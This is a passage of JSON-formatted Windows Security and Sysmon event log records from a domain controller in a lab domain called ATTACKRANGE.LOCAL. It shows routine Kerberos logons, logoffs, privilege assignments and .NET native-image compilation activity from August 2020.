ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9A074\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51514\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9a074","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51514","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222258,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A074\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9a074","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222259,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A0E0\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9a0e0","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222260,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9A0E0\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51515\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9a0e0","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51515","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222261,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A0E0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9a0e0","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222262,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A2E3\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9a2e3","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222263,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9A2E3\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51516\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9a2e3","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51516","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222264,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A2E3\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9a2e3","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222265,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A36B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9a36b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222266,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9A36B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51517\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9a36b","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51517","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222267,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A36B\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x9a36b","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:11.150\r\nProcessGuid: {90617006-4245-5F2D-0000-0010A8990900}\r\nProcessId: 4660\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1234-0\\System.Data.dll\r\nCreationUtcTime: 2020-08-07 12:00:11.150","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:11.150","ProcessGuid":"{90617006-4245-5F2D-0000-0010A8990900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1234-0\\System.Data.dll","CreationUtcTime":"2020-08-07 12:00:11.150","EventReceivedTime":"2020-08-07 12:00:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:11.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-424B-5F2D-0000-001065A40900}\r\nTargetProcessId: 3156\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 